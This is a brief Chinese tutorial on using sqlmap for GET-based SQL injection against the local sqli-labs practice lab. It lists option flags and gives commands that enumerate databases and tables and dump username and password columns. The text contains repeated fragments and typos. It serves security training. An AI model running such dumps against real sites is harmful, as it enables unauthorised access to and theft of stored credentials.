SQL注入之sqlmap使用(get型注入)
一、SQLMap介绍
二、SQLMap使用:
sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-2/?id=1"






Last updated
sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-2/?id=1"






Last updated
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"
-u:用于get提交方式,后面跟注入的url网址
--level
--risk
--dbs:获取所有数据库
--tales:获取所有数据表
--columns:获取所有字段
--dump:打印数据
-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段
level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,
当>=3时检查user-agent和refereer
risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,
3会增加or语句的sql注入sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-2/?id=1" --level 3sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-2/?id=1" --dbssqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-2/?id=1" -D "security" --tablessqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-2/?id=1" -D "security" -T "users" --columnssqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-2/?id=1" -D "security" -T "users" -C "username,password" --dump